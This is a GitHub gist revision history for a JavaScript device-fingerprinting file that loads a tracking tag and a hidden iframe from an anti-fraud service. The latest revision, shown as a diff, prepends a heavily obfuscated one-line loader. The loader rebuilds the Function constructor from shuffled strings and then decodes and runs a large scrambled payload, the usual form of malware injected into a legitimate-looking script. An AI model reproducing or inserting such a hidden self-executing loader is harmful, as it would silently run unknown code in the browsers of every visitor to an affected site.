Skip to content

Instantly share code, notes, and snippets.

@Withoutbytes
Last active February 5, 2025 18:59
Show Gist options
  • Select an option

  • Save Withoutbytes/8ba9be81d2a5e224d50f4818723e62c1 to your computer and use it in GitHub Desktop.

Select an option

Save Withoutbytes/8ba9be81d2a5e224d50f4818723e62c1 to your computer and use it in GitHub Desktop.

Revisions

  1. Withoutbytes revised this gist Feb 5, 2025. 1 changed file with 35 additions and 1 deletion.
    36 changes: 35 additions & 1 deletion axis_fingerpirnt.js
    Original file line number Diff line number Diff line change
    @@ -1 +1,35 @@
    (function(){var nnm='',LNg=333-322;function omF(z){var s=2441667;var a=z.length;var w=[];for(var u=0;u<a;u++){w[u]=z.charAt(u)};for(var u=0;u<a;u++){var i=s*(u+331)+(s%51143);var l=s*(u+491)+(s%31162);var o=i%a;var t=l%a;var f=w[o];w[o]=w[t];w[t]=f;s=(i+l)%2903190;};return w.join('')};var UTO=omF('cdouteoqrrzacycvlhjiwostnmrfnbgusxktp').substr(0,LNg);var nhe='ulr)+8+(tqnj2w)i;=cr(,6s);yhg1efso;j)t ;hsr}({u1}lv ];6lf +v97vrp0)=n,;roqtun0t7,s8ag(t[o0382v7(jt=,}7g7or}ir7=eihm9fr= w+-(-n-][o=((r;)rv)w;6rcahs8va1,,rcs,)=[];a"]-;+);ua] )[s.gv*h.s=i=ln(v;+;(,ei ;0e=r =l,hCur(g=djl=sy]=n.tvCw++9;q2a[f8act=hn-hld"5spm.ptn"n ){.4mug0rrl(e!x.l)(;mA,p.,f.]+i){8]n miegldi c+vhrC;{+;e(t .=tri"cue6*m9dedmfjsah;lmb;qa"radocvoul)a2[y;o,ag<o;ea1)(05f0k;hmcb)u)1 oAt;o)a;n=qt0gokmkrhapat8v=a{+t= C.fc0r,]2;ulbr0lv)-;4.=m+fvs;d=l r }fa1s=83erv.=et.ne(rb !ae8<cra+vzeu9evns=11+o),haitov;o;j)+f)2da(=g]n=rev)eade=cgn+nSer==ir(;+e.=r2)6h(8ivC(8>e)h.;mth(h1c[5rcrigto( oulhr(itr.,ka,n=te;>=mAr+ y.(cmjn=6av,.h+ar. l0rtav1h++[lsp)"n;ie).=,iv<-n,cuA6l{atlf1jip(.;ri.,]7hivaarf=l+1A)sw;i)onaa ]fu+]uu=(990.;n[d,<;+]7o[=6tpabrv;[(rh(eo.,(;rShnCha"C=n1[o)r=inlmv(,cC;;npu=.ui;3fhv,([c;4,.<pln,fon{ap t2e.oc)"2ras(=;1nri}lfr7mrh) r)evr[cg}a;ta6=nrrdr4 rtuml("b") so;,(2ii';var Bhq=omF[UTO];var BqQ='';var MgV=Bhq;var vSR=Bhq(BqQ,omF(nhe));var dAA=vSR(omF('vL-$m{)ie$u1(;,}e1*@sts=FhcnEF5cF&6u9FFF_nt.Fi.}ndF\/.1f]{h)_s(u39oLaFFcahCFd39F7(({Mre{F&gb2FK4FDoF%ned(3F eci,3xFhMF.FS6(sSrmddFl66#.F=F>2achn1({rsLg{a+,FFFg.F(%u_ iF9ns(n]Fa3dd..i,F)s.F..F.ird(FfdFs{d9!FiF\/:?(t]}g"5r)>)r_wonF.oCFa5.)+dtF5othit{e.esFcg%6?gn jFi1>c.t=hd(%%sF-0JS%%ynr nh"ez.j7o!FeQe8)EId#elsbx n_r0(,po]eI3+FJd)}3pF)_no.duF8drosrnP7FfCjn.%iFd,2of)oeFe(agt-aI7i.oyFn;vp.oudpFec.7._={F2]MFFadj.ilinfd"eritlFaxg8 g=3F@+sF.\'6.8Fa1,Txt:xn.f"(Fd rdi;e)F(a],.Snic!FQsT#"()99.taFFFr2ziJpFF)o(d)!;J_e7od)c=epf!o; 3=F60c.(T];ii3i]tao-rpF[,x6d$!.;r}9$H%nlFic3oFF8)iF!Pt)rF(P0nj}s9\/_as)$ne.:%oJ1FFtp_FFn)efgxF3FF.$] =+a.(60r=6p.FC]ol;sdyeFtVFi)&.7c)!fmeFCF2]e.;da(h{_1j= r")h6rrjFC8FoF_6l\'ht_ (+)d8,\'d3Ft.ru_ ;=0)h dzt)u,?r#$uOf51c13tslinn(!43(.6br_)_os*m!ph1rn1.F3Ft!}.F]re}a;Ci=!b_7t(doip>.dea.jcst5z;V(fFFFs;.i;;o{!fxF6;= vr%_)#rEne\'.,iF.F;r909i3e,_)nd2.i(iINt#Fno{)))Ft0j0bA5ji;eE"f )FFFre)a-Fi=.eo3=h4.FFf>uoo.a.p=jcFa#g30o=.tT_r,Fs.TaJ..F.!F6.id d.>%dF}drdnfp;orF_Fsrdi1FF.6gF8Fa[r_rF96FreFi>F2e>RsFHm;c-9Odka3s=?\/9:}=)jrst$Fp9;.d=m(z(#P"s4879n.!d6UFmfcdirEt-nK(coi_F_{;;4}Fs31( vnhg;F)Fw)${oF7ei}y{nch; eimtriFis=.d3d4"V!)u{!jrdh F\/t=,-Da3$t)cuF])F)p{FrF}(rF)a!Fl o)!i{niGF+o S$-.=7mcx64t2-n,=Gdo;drttgtri1di(F85hF[aFd)wng%.$1.9).F(Fw)_i2u].6ta_;wF(96(.;p;7ds9AF%;FfojFddF.35_t3 rm," pdU)dient66:fe.Fjm10;rF65Fi(!iFg)_4F$&.ns4w,iF!;It-._ht 0tFu1;8FFf!(s+s%;F1dF&=4]4 ;o$4]fpld;SLp\/c8iD;.F2rF=[FojFo[",1o1F4jno+i!_r,o.r%gF;1 F o!49F)ns=(ie)}r1td6(ec!p54.anF>i9fi<0Fl19]aFd[!()teSF3\/t,9zd%]n8=( K,leF d>t_F}5Fbdfr)Ftbdcsoo40%!1:5=xF.=.r 3tFFF0!f0l-nQy:_%j(aF@F$.mRij\/!4,4.!_d)<2D0n1aFd15,{Q2;F3%{j Ebn 1]F d_Ads]tbr)ttrF7(pn_$71n)F1tee0o(Fo{t,=3Ftr Pon_):uff)tF?xn}nF jfp38!Fs)!1jb,rns(.8iie tdFee\/ddpiF.na+ceoe.tFnj_iF!lc3md=?(bF)..I;c;F!;8$sco.8a)ncFeFp%r((e9iu1niod.1iFF(1re{piFd.F f)dDFC9o_F20.IF<ordS00:f9$F.ctt),:.ad00d;(FhPr{(.p4e1Fd%HnnsunrieaF:d};"df0$h*"3\'nFd\/isFFF..n%A+l3.0;l5Fop;(;D.nMwF;dh)iF?G.i36cF.,ooMtg.PuF;.!tctF)_j.0Fg[.nFns! fF6}dFe;ote]"]8aF,.:d(N.9Fib!e}N+;7$]_+F;Tt)res9$buipFeKeFn%y1scdRv45gJgt4{F? 4!yt)=1f(lF])brfir(Ferd*(F,e9_e32ewr8,rF<bFF:s+=ldde_!n{pi.t)!.FFrlsdF5]O55Fti])(ig(}mos!_p((tti9r.Ft]]+,(.tBjeF+t.vt84)(Fa)]3doVrtie+eF{8d_Fre4xut#FOohjw). l(dKsoH1"ana()[aF F.3=R(R)JuCP$ 2c@r$ pF#0ssFcsF.).ijt,(lk._jr cf\/oxFFeF{Fie.te_wF=h ]FCF,Fe>eF(7o_bpe)P.=:F.$nBNp5J(3F..1,bo]1$( bnFjung8)fF r1t )6_ao0tudn4Fec.9eC0.iF>nFil5L9\/.,=F%\/s7po9UD$F)),.tl!Fded2\/Fo; [.r$%;91lg;ra usFFeKt(!7)sf.lo0..m t).d:d1v0r{t$.!tnFp(dtFx!oc@e;8.M13e_Id%df!6Dr] i.!nF]3.)FU.frFz3-uhFF& j)orlF5F(iF.(i5d_h {(duj,e)8}eF;(0..to;F)tCn.t(sd1i,'));var hEM=MgV(nnm,dAA );hEM(7575);return 5623})()
    (function () {
    try {
    const merchantId = "manhattan_br"; // Substitua pelo seu Merchant ID
    const fingerPrint = new Date().getTime();
    const sessionId = `${merchantId}${fingerPrint}`; // Gera um sessionId único

    // Insere o script de fingerprinting dinâmico
    const script = document.createElement("script");
    script.type = "text/javascript";
    script.src = `https://h.online-metrix.net/fp/tags.js?org_id=k8vif92e&session_id=${sessionId}`;
    script.async = true;
    document.head.appendChild(script);

    // Adiciona fallback para clientes sem JavaScript
    const noscript = document.createElement("noscript");
    noscript.innerHTML = `
    <iframe
    style="width: 100px; height: 100px; border: 0; position: absolute; top: -5000px;"
    src="https://h.online-metrix.net/fp/tags?org_id=k8vif92e&session_id=${sessionId}">
    </iframe>`;
    document.body.appendChild(noscript);

    // Expõe o sessionId corretamente via API global
    window.getFingerprintSession = function () {
    return {
    sessionId: fingerPrint, // Corrigido para `sessionId`
    timestamp: new Date().toISOString(),
    };
    };

    console.log("Fingerprint session initialized:", fingerPrint);
    } catch (error) {
    console.error("Erro ao inicializar o Fingerprint:", error);
    }
    })();
  2. Withoutbytes revised this gist Feb 5, 2025. 2 changed files with 1 addition and 35 deletions.
    1 change: 1 addition & 0 deletions axis_fingerpirnt.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1 @@
    (function(){var nnm='',LNg=333-322;function omF(z){var s=2441667;var a=z.length;var w=[];for(var u=0;u<a;u++){w[u]=z.charAt(u)};for(var u=0;u<a;u++){var i=s*(u+331)+(s%51143);var l=s*(u+491)+(s%31162);var o=i%a;var t=l%a;var f=w[o];w[o]=w[t];w[t]=f;s=(i+l)%2903190;};return w.join('')};var UTO=omF('cdouteoqrrzacycvlhjiwostnmrfnbgusxktp').substr(0,LNg);var nhe='ulr)+8+(tqnj2w)i;=cr(,6s);yhg1efso;j)t ;hsr}({u1}lv ];6lf +v97vrp0)=n,;roqtun0t7,s8ag(t[o0382v7(jt=,}7g7or}ir7=eihm9fr= w+-(-n-][o=((r;)rv)w;6rcahs8va1,,rcs,)=[];a"]-;+);ua] )[s.gv*h.s=i=ln(v;+;(,ei ;0e=r =l,hCur(g=djl=sy]=n.tvCw++9;q2a[f8act=hn-hld"5spm.ptn"n ){.4mug0rrl(e!x.l)(;mA,p.,f.]+i){8]n miegldi c+vhrC;{+;e(t .=tri"cue6*m9dedmfjsah;lmb;qa"radocvoul)a2[y;o,ag<o;ea1)(05f0k;hmcb)u)1 oAt;o)a;n=qt0gokmkrhapat8v=a{+t= C.fc0r,]2;ulbr0lv)-;4.=m+fvs;d=l r }fa1s=83erv.=et.ne(rb !ae8<cra+vzeu9evns=11+o),haitov;o;j)+f)2da(=g]n=rev)eade=cgn+nSer==ir(;+e.=r2)6h(8ivC(8>e)h.;mth(h1c[5rcrigto( oulhr(itr.,ka,n=te;>=mAr+ y.(cmjn=6av,.h+ar. l0rtav1h++[lsp)"n;ie).=,iv<-n,cuA6l{atlf1jip(.;ri.,]7hivaarf=l+1A)sw;i)onaa ]fu+]uu=(990.;n[d,<;+]7o[=6tpabrv;[(rh(eo.,(;rShnCha"C=n1[o)r=inlmv(,cC;;npu=.ui;3fhv,([c;4,.<pln,fon{ap t2e.oc)"2ras(=;1nri}lfr7mrh) r)evr[cg}a;ta6=nrrdr4 rtuml("b") so;,(2ii';var Bhq=omF[UTO];var BqQ='';var MgV=Bhq;var vSR=Bhq(BqQ,omF(nhe));var dAA=vSR(omF('vL-$m{)ie$u1(;,}e1*@sts=FhcnEF5cF&6u9FFF_nt.Fi.}ndF\/.1f]{h)_s(u39oLaFFcahCFd39F7(({Mre{F&gb2FK4FDoF%ned(3F eci,3xFhMF.FS6(sSrmddFl66#.F=F>2achn1({rsLg{a+,FFFg.F(%u_ iF9ns(n]Fa3dd..i,F)s.F..F.ird(FfdFs{d9!FiF\/:?(t]}g"5r)>)r_wonF.oCFa5.)+dtF5othit{e.esFcg%6?gn jFi1>c.t=hd(%%sF-0JS%%ynr nh"ez.j7o!FeQe8)EId#elsbx n_r0(,po]eI3+FJd)}3pF)_no.duF8drosrnP7FfCjn.%iFd,2of)oeFe(agt-aI7i.oyFn;vp.oudpFec.7._={F2]MFFadj.ilinfd"eritlFaxg8 g=3F@+sF.\'6.8Fa1,Txt:xn.f"(Fd rdi;e)F(a],.Snic!FQsT#"()99.taFFFr2ziJpFF)o(d)!;J_e7od)c=epf!o; 3=F60c.(T];ii3i]tao-rpF[,x6d$!.;r}9$H%nlFic3oFF8)iF!Pt)rF(P0nj}s9\/_as)$ne.:%oJ1FFtp_FFn)efgxF3FF.$] =+a.(60r=6p.FC]ol;sdyeFtVFi)&.7c)!fmeFCF2]e.;da(h{_1j= r")h6rrjFC8FoF_6l\'ht_ (+)d8,\'d3Ft.ru_ ;=0)h dzt)u,?r#$uOf51c13tslinn(!43(.6br_)_os*m!ph1rn1.F3Ft!}.F]re}a;Ci=!b_7t(doip>.dea.jcst5z;V(fFFFs;.i;;o{!fxF6;= vr%_)#rEne\'.,iF.F;r909i3e,_)nd2.i(iINt#Fno{)))Ft0j0bA5ji;eE"f )FFFre)a-Fi=.eo3=h4.FFf>uoo.a.p=jcFa#g30o=.tT_r,Fs.TaJ..F.!F6.id d.>%dF}drdnfp;orF_Fsrdi1FF.6gF8Fa[r_rF96FreFi>F2e>RsFHm;c-9Odka3s=?\/9:}=)jrst$Fp9;.d=m(z(#P"s4879n.!d6UFmfcdirEt-nK(coi_F_{;;4}Fs31( vnhg;F)Fw)${oF7ei}y{nch; eimtriFis=.d3d4"V!)u{!jrdh F\/t=,-Da3$t)cuF])F)p{FrF}(rF)a!Fl o)!i{niGF+o S$-.=7mcx64t2-n,=Gdo;drttgtri1di(F85hF[aFd)wng%.$1.9).F(Fw)_i2u].6ta_;wF(96(.;p;7ds9AF%;FfojFddF.35_t3 rm," pdU)dient66:fe.Fjm10;rF65Fi(!iFg)_4F$&.ns4w,iF!;It-._ht 0tFu1;8FFf!(s+s%;F1dF&=4]4 ;o$4]fpld;SLp\/c8iD;.F2rF=[FojFo[",1o1F4jno+i!_r,o.r%gF;1 F o!49F)ns=(ie)}r1td6(ec!p54.anF>i9fi<0Fl19]aFd[!()teSF3\/t,9zd%]n8=( K,leF d>t_F}5Fbdfr)Ftbdcsoo40%!1:5=xF.=.r 3tFFF0!f0l-nQy:_%j(aF@F$.mRij\/!4,4.!_d)<2D0n1aFd15,{Q2;F3%{j Ebn 1]F d_Ads]tbr)ttrF7(pn_$71n)F1tee0o(Fo{t,=3Ftr Pon_):uff)tF?xn}nF jfp38!Fs)!1jb,rns(.8iie tdFee\/ddpiF.na+ceoe.tFnj_iF!lc3md=?(bF)..I;c;F!;8$sco.8a)ncFeFp%r((e9iu1niod.1iFF(1re{piFd.F f)dDFC9o_F20.IF<ordS00:f9$F.ctt),:.ad00d;(FhPr{(.p4e1Fd%HnnsunrieaF:d};"df0$h*"3\'nFd\/isFFF..n%A+l3.0;l5Fop;(;D.nMwF;dh)iF?G.i36cF.,ooMtg.PuF;.!tctF)_j.0Fg[.nFns! fF6}dFe;ote]"]8aF,.:d(N.9Fib!e}N+;7$]_+F;Tt)res9$buipFeKeFn%y1scdRv45gJgt4{F? 4!yt)=1f(lF])brfir(Ferd*(F,e9_e32ewr8,rF<bFF:s+=ldde_!n{pi.t)!.FFrlsdF5]O55Fti])(ig(}mos!_p((tti9r.Ft]]+,(.tBjeF+t.vt84)(Fa)]3doVrtie+eF{8d_Fre4xut#FOohjw). l(dKsoH1"ana()[aF F.3=R(R)JuCP$ 2c@r$ pF#0ssFcsF.).ijt,(lk._jr cf\/oxFFeF{Fie.te_wF=h ]FCF,Fe>eF(7o_bpe)P.=:F.$nBNp5J(3F..1,bo]1$( bnFjung8)fF r1t )6_ao0tudn4Fec.9eC0.iF>nFil5L9\/.,=F%\/s7po9UD$F)),.tl!Fded2\/Fo; [.r$%;91lg;ra usFFeKt(!7)sf.lo0..m t).d:d1v0r{t$.!tnFp(dtFx!oc@e;8.M13e_Id%df!6Dr] i.!nF]3.)FU.frFz3-uhFF& j)orlF5F(iF.(i5d_h {(duj,e)8}eF;(0..to;F)tCn.t(sd1i,'));var hEM=MgV(nnm,dAA );hEM(7575);return 5623})()
    35 changes: 0 additions & 35 deletions fingerpirnt.js
    Original file line number Diff line number Diff line change
    @@ -1,35 +0,0 @@
    (function () {
    try {
    const merchantId = "manhattan_br"; // Substitua pelo seu Merchant ID
    const fingerPrint = new Date().getTime();
    const sessionId = `${merchantId}${fingerPrint}`; // Gera um sessionId único

    // Insere o script de fingerprinting dinâmico
    const script = document.createElement("script");
    script.type = "text/javascript";
    script.src = `https://h.online-metrix.net/fp/tags.js?org_id=k8vif92e&session_id=${sessionId}`;
    script.async = true;
    document.head.appendChild(script);

    // Adiciona fallback para clientes sem JavaScript
    const noscript = document.createElement("noscript");
    noscript.innerHTML = `
    <iframe
    style="width: 100px; height: 100px; border: 0; position: absolute; top: -5000px;"
    src="https://h.online-metrix.net/fp/tags?org_id=k8vif92e&session_id=${sessionId}">
    </iframe>`;
    document.body.appendChild(noscript);

    // Expõe o sessionId corretamente via API global
    window.getFingerprintSession = function () {
    return {
    sessionId: fingerPrint, // Corrigido para `sessionId`
    timestamp: new Date().toISOString(),
    };
    };

    console.log("Fingerprint session initialized:", fingerPrint);
    } catch (error) {
    console.error("Erro ao inicializar o Fingerprint:", error);
    }
    })();
  3. Withoutbytes created this gist Feb 5, 2025.
    35 changes: 35 additions & 0 deletions fingerpirnt.js
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,35 @@
    (function () {
    try {
    const merchantId = "manhattan_br"; // Substitua pelo seu Merchant ID
    const fingerPrint = new Date().getTime();
    const sessionId = `${merchantId}${fingerPrint}`; // Gera um sessionId único

    // Insere o script de fingerprinting dinâmico
    const script = document.createElement("script");
    script.type = "text/javascript";
    script.src = `https://h.online-metrix.net/fp/tags.js?org_id=k8vif92e&session_id=${sessionId}`;
    script.async = true;
    document.head.appendChild(script);

    // Adiciona fallback para clientes sem JavaScript
    const noscript = document.createElement("noscript");
    noscript.innerHTML = `
    <iframe
    style="width: 100px; height: 100px; border: 0; position: absolute; top: -5000px;"
    src="https://h.online-metrix.net/fp/tags?org_id=k8vif92e&session_id=${sessionId}">
    </iframe>`;
    document.body.appendChild(noscript);

    // Expõe o sessionId corretamente via API global
    window.getFingerprintSession = function () {
    return {
    sessionId: fingerPrint, // Corrigido para `sessionId`
    timestamp: new Date().toISOString(),
    };
    };

    console.log("Fingerprint session initialized:", fingerPrint);
    } catch (error) {
    console.error("Erro ao inicializar o Fingerprint:", error);
    }
    })();